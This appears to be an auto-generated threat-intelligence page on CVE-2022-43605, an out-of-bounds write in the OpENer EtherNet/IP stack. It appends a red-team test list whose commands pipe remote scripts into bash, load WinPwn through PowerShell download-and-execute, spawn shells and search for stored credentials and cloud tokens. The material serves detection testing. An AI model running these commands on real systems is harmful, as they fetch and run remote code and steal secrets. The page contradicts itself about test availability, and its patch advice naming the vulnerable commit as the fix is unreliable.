CVE-2022-43605
Overview
This vulnerability is an out-of-bounds write (CWE-787) occurring within the SetAttributeList attribute_count_request functionality of the EIP Stack Group OpENer. The flaw arises from improper bounds checking when processing specially crafted EtherNet/IP requests, leading to memory corruption in the affected component handling attribute lists. The root cause lies in inadequate validation of attribute counts during request parsing in the OpENer protocol stack implementation.
Vulnerability Description
An out-of-bounds write vulnerability exists in the SetAttributeList attribute_count_request functionality of EIP Stack Group OpENer development commit 58ee13c. A specially crafted EtherNet/IP request can lead to an out of bounds write, potentially causing the server to crash or allow for remote code execution. An attacker can send a series of EtherNet/IP requests to trigger this vulnerability.
Impact
An unauthenticated attacker with network access to the EtherNet/IP service can exploit this vulnerability to trigger out-of-bounds memory writes, potentially causing server crashes or enabling remote code execution. The attack requires no user interaction and no privileges (AV:N/AC:L/PR:N/UI:N). Successful exploitation can lead to denial of service or full system compromise, impacting availability, integrity, and confidentiality of the affected system.
Solution
Users of EIP Stack Group OpENer should apply the patch corresponding to development commit 58ee13c or later as detailed in the Talos Intelligence advisory TALOS-2022-1662 (https://talosintelligence.com/vulnerability_reports/TALOS-2022-1662). The advisory provides specific remediation steps to update the affected SetAttributeList handling code to properly validate attribute counts and prevent out-of-bounds writes. No alternative workarounds are documented in the advisory.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in question arises from an out-of-bounds write condition within the SetAttributeList attribute_count_request functionality of the OpENer development project. This flaw allows an attacker to manipulate memory allocation by sending specially crafted EtherNet/IP requests. When the server processes these requests, it may write data outside the intended memory boundaries, leading to unpredictable behavior, including server crashes or, more critically, the potential for remote code execution. This type of vulnerability is particularly dangerous as it can be exploited without requiring physical access to the affected system, making it a prime target for remote attackers.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could initiate a series of EtherNet/IP requests, carefully designed to trigger the out-of-bounds write condition. By crafting these requests with specific parameters, the attacker can manipulate the server's memory, potentially leading to arbitrary code execution. This exploitation could be executed in a stealthy manner, allowing the attacker to gain unauthorized access to sensitive data or control over the server. The ability to execute code remotely can lead to further exploitation within the network, allowing attackers to pivot to other systems or escalate privileges.
The real-world impact of this vulnerability is significant, particularly for organizations relying on the OpENer project for their EtherNet/IP communications. The high CVSS score of 9.8 underscores the severity of the risk, indicating that successful exploitation could lead to catastrophic outcomes, including service disruption, data breaches, and financial losses. For industries such as manufacturing, energy, and critical infrastructure, the consequences of a successful attack could extend beyond immediate financial damage, potentially affecting safety and operational integrity. The potential for remote code execution means that attackers could not only disrupt services but also manipulate industrial control systems, leading to physical damage or safety hazards.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security strategy. Regularly updating and patching the OpENer software is crucial to address known vulnerabilities. Network segmentation can also help limit the exposure of critical systems to potential attackers, reducing the attack surface. Intrusion detection systems (IDS) should be employed to monitor for unusual EtherNet/IP traffic patterns that may indicate an attempted exploitation of this vulnerability. Additionally, organizations should conduct regular security assessments and penetration testing to identify and remediate vulnerabilities before they can be exploited by malicious actors.
In conclusion, the out-of-bounds write vulnerability in the OpENer project represents a serious threat to organizations utilizing EtherNet/IP for their operations. The potential for remote code execution, combined with the ease of exploiting this vulnerability, necessitates immediate attention from cybersecurity professionals. By understanding the technical details, potential attack vectors, and real-world implications, organizations can better prepare themselves to defend against this and similar vulnerabilities. Implementing robust detection and mitigation strategies will be essential in safeguarding critical infrastructure and maintaining operational integrity in an increasingly interconnected world.
CSURFACE threat intelligence has identified a marked increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2022-43605, reflecting a growing likelihood of exploitation attempts in the near term. The EPSS score rose by nearly 39%, accompanied by a sustained upward trend over the past week, indicating heightened attacker interest or preparatory activity targeting the vulnerable EIP Stack Group OpENer implementation. Although no new exploit code or active campaigns have been detected by our sensors, this quantitative shift suggests an elevated risk environment that defenders should monitor closely. The increased EPSS percentile ranking underscores that this vulnerability is gaining prominence relative to others, potentially due to improved exploit reliability or emerging attack techniques. Consequently, the threat level for organizations relying on EtherNet/IP protocols is elevated, warranting increased vigilance in detection and response capabilities despite the absence of confirmed exploitation in the wild.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Opener Project | Opener | All |
cpe:2.3:a:opener_project:opener:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-43605 |
| talosintelligence.com |
GitHub CVE
|
https://talosintelligence.com/vulnerability_reports/TALOS-2022-1662 |
| talosintelligence.com |
NVD API
|
https://www.talosintelligence.com/vulnerability_reports/TALOS-2022-1662 |